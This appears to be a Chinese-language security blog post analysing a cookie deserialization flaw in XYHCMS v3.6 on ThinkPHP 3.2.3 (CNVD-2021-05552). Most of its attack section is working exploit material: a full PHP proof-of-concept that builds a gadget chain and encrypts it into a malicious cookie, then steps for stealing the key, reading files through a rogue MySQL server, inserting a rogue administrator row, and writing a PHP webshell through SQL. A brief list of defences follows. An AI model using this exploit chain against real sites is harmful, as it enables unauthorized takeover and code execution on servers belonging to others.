痛失CVE之xyhcms(thinkphp3.2.3)反序列化
字数 1703 2025-08-15 21:34:04

XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用

漏洞概述

XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的恶意Cookie触发反序列化操作,最终可能导致任意代码执行。该漏洞利用链复杂,涉及多个关键点:

  1. 配置文件以序列化形式存储在PHP文件中
  2. Cookie加密机制存在缺陷
  3. ThinkPHP 3.2.3框架的反序列化利用链
  4. 通过恶意MySQL服务器实现文件读取

漏洞分析

1. 反序列化入口点

漏洞入口位于/App/Common/Common/function.php中的get_cookie函数:

function get_cookie($name, $key = '') {
    if (!isset($_COOKIE[$name])) {
        return null;
    }
    $key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
    $value = $_COOKIE[$name];
    $key = md5($key);
    $sc = new \Common\Lib\SysCrypt($key);
    $value = $sc->php_decrypt($value);
    return unserialize($value);
}

关键点:

  • 使用CFG_COOKIE_ENCODE作为加密密钥
  • 密钥可在/App/Runtime/Data/config/site.php中找到
  • 解密后的Cookie值直接进行反序列化

2. 加密机制分析

加密解密类位于/App/Common/Lib/SysCrypt.class.php

class SysCrypt {
    private $crypt_key;
    
    public function __construct($crypt_key) {
        $this->crypt_key = $crypt_key;
    }
    
    public function php_encrypt($txt) {
        srand((double)microtime() * 1000000);
        $encrypt_key = md5(rand(0,32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0;$i<strlen($txt);$i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
        }
        return base64_encode(self::__key($tmp,$this->crypt_key));
    }
    
    public function php_decrypt($txt) {
        $txt = self::__key(base64_decode($txt),$this->crypt_key);
        $tmp = '';
        for($i = 0;$i < strlen($txt); $i++) {
            $md5 = $txt[$i];
            $tmp .= $txt[++$i] ^ $md5;
        }
        return $tmp;
    }
    
    private function __key($txt,$encrypt_key) {
        $encrypt_key = md5($encrypt_key);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }
}

3. 反序列化利用链

利用链如下:

  1. 触发Imagick类的__destruct方法
  2. 调用任意类的destroy方法
  3. 通过Memcache驱动类的destroy方法调用任意类的delete方法
  4. 利用Model类的delete方法作为跳板
  5. 最终通过Driver类的execute方法执行任意SQL

关键类和方法:

  • Think\Image\Driver\Imagick::__destruct()
  • Think\Session\Driver\Memcache::destroy()
  • Think\Model::delete()
  • Think\Db\Driver\Mysql::execute()

漏洞利用

1. 环境准备

  • PHP 5.x环境(PHP 7不兼容)
  • 获取CFG_COOKIE_ENCODE(位于/App/Runtime/Data/config/site.php
  • 注册前台会员账户获取有效Cookie

2. 生成Payload

完整POC代码:

<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options = array(
        PDO::MYSQL_ATTR_LOCAL_INFILE => true
    );
    protected $config = array(
        "dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306",
        "username" => "root",
        "password" => "root"
    );
}

namespace Think;
class Model{
    protected $options = array();
    protected $pk;
    protected $data = array();
    protected $db = null;
    public function __construct(){
        $this->db = new \Think\Db\Driver\Mysql();
        $this->options['where'] = 1;
        $this->pk = 'luoke';
        $this->data[$this->pk] = array(
            "table" => "xyh_admin_log",
            "where" => "id=0"
        );
    }
}

namespace Think\Session\Driver;
class Memcache{
    protected $handle;
    public function __construct() {
        $this->handle = new \Think\Model();
    }
}

namespace Think\Image\Driver;
class Imagick{
    private $img;
    public function __construct() {
        $this->img = new \Think\Session\Driver\Memcache();
    }
}

namespace Common\Lib;
class SysCrypt{
    private $crypt_key;
    public function __construct($crypt_key) {
        $this->crypt_key = $crypt_key;
    }
    public function php_encrypt($txt) {
        srand((double)microtime() * 1000000);
        $encrypt_key = md5(rand(0,32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0;$i<strlen($txt);$i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
        }
        return base64_encode(self::__key($tmp,$this->crypt_key));
    }
    public function php_decrypt($txt) {
        $txt = self::__key(base64_decode($txt),$this->crypt_key);
        $tmp = '';
        for($i = 0;$i < strlen($txt); $i++) {
            $md5 = $txt[$i];
            $tmp .= $txt[++$i] ^ $md5;
        }
        return $tmp;
    }
    private function __key($txt,$encrypt_key) {
        $encrypt_key = md5($encrypt_key);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }
}

function set_cookie($args, $key = ''){
    $key = '7q6Gw97sh'; // 替换为实际的CFG_COOKIE_ENCODE
    $value = serialize($args);
    $key = md5($key);
    $sc = new \Common\Lib\SysCrypt($key);
    $value = $sc->php_encrypt($value);
    return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>

3. 利用步骤

  1. 获取加密密钥

    • 访问/App/Runtime/Data/config/site.php获取CFG_COOKIE_ENCODE
  2. 生成恶意Cookie

    • 使用上述POC生成加密后的序列化字符串
    • 替换POC中的数据库配置为实际目标
  3. 发送恶意请求

    • 将生成的Cookie值设置为uidnickname
    • 访问需要Cookie的接口如:
      • /index.php?s=/Public/loginChk.html
      • /index.php?s=/Home/Member/index.html
  4. 获取绝对路径

    • 通过访问以下文件触发报错获取路径:
      • /App/Api/Conf/config.php
      • /App/Api/Controller/ApiCommonController.class.php
  5. 文件读取

    • 使用恶意MySQL服务器读取配置文件
    • 修改POC中的数据库配置为目标数据库信息
  6. 数据库操作

    • 添加管理员账户:
    INSERT INTO xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) 
    VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);
    
    • 或通过留言板泄露数据:
    UPDATE xyhcms.xyh_guestbook SET content=user() WHERE id=1;
    
  7. Getshell

    • 方法1:使用outfilegeneral_log写入shell
    • 方法2:通过添加恶意列名生成含PHP代码的缓存文件:
    ALTER TABLE xyh_guestbook ADD COLUMN `<script language='php'>phpinfo();</script>` varchar(10);
    
    • 访问留言板生成缓存文件:
      /App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

防御措施

  1. 不要将序列化数据存储在PHP文件中
  2. 配置文件不应使用PHP后缀或应限制访问
  3. 加强Cookie加密机制,使用固定密钥
  4. 升级ThinkPHP框架版本
  5. 限制数据库用户权限
  6. 对用户输入进行严格过滤

总结

该漏洞利用链展示了从反序列化入口到最终getshell的完整过程,涉及多个关键技术点:

  1. 不安全的序列化数据存储
  2. 脆弱的加密机制
  3. ThinkPHP 3.2.3的反序列化链
  4. 通过PDO和MySQL协议的文件读取
  5. 利用数据库操作实现代码执行

漏洞编号:CNVD-2021-05552

XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用 漏洞概述 XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的恶意Cookie触发反序列化操作,最终可能导致任意代码执行。该漏洞利用链复杂,涉及多个关键点: 配置文件以序列化形式存储在PHP文件中 Cookie加密机制存在缺陷 ThinkPHP 3.2.3框架的反序列化利用链 通过恶意MySQL服务器实现文件读取 漏洞分析 1. 反序列化入口点 漏洞入口位于 /App/Common/Common/function.php 中的 get_cookie 函数: 关键点: 使用 CFG_COOKIE_ENCODE 作为加密密钥 密钥可在 /App/Runtime/Data/config/site.php 中找到 解密后的Cookie值直接进行反序列化 2. 加密机制分析 加密解密类位于 /App/Common/Lib/SysCrypt.class.php : 3. 反序列化利用链 利用链如下: 触发 Imagick 类的 __destruct 方法 调用任意类的 destroy 方法 通过 Memcache 驱动类的 destroy 方法调用任意类的 delete 方法 利用 Model 类的 delete 方法作为跳板 最终通过 Driver 类的 execute 方法执行任意SQL 关键类和方法: Think\Image\Driver\Imagick::__destruct() Think\Session\Driver\Memcache::destroy() Think\Model::delete() Think\Db\Driver\Mysql::execute() 漏洞利用 1. 环境准备 PHP 5.x环境(PHP 7不兼容) 获取 CFG_COOKIE_ENCODE (位于 /App/Runtime/Data/config/site.php ) 注册前台会员账户获取有效Cookie 2. 生成Payload 完整POC代码: 3. 利用步骤 获取加密密钥 : 访问 /App/Runtime/Data/config/site.php 获取 CFG_COOKIE_ENCODE 生成恶意Cookie : 使用上述POC生成加密后的序列化字符串 替换POC中的数据库配置为实际目标 发送恶意请求 : 将生成的Cookie值设置为 uid 或 nickname 访问需要Cookie的接口如: /index.php?s=/Public/loginChk.html /index.php?s=/Home/Member/index.html 获取绝对路径 : 通过访问以下文件触发报错获取路径: /App/Api/Conf/config.php /App/Api/Controller/ApiCommonController.class.php 文件读取 : 使用恶意MySQL服务器读取配置文件 修改POC中的数据库配置为目标数据库信息 数据库操作 : 添加管理员账户: 或通过留言板泄露数据: Getshell : 方法1:使用 outfile 或 general_log 写入shell 方法2:通过添加恶意列名生成含PHP代码的缓存文件: 访问留言板生成缓存文件: /App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php 防御措施 不要将序列化数据存储在PHP文件中 配置文件不应使用PHP后缀或应限制访问 加强Cookie加密机制,使用固定密钥 升级ThinkPHP框架版本 限制数据库用户权限 对用户输入进行严格过滤 总结 该漏洞利用链展示了从反序列化入口到最终getshell的完整过程,涉及多个关键技术点: 不安全的序列化数据存储 脆弱的加密机制 ThinkPHP 3.2.3的反序列化链 通过PDO和MySQL协议的文件读取 利用数据库操作实现代码执行 漏洞编号:CNVD-2021-05552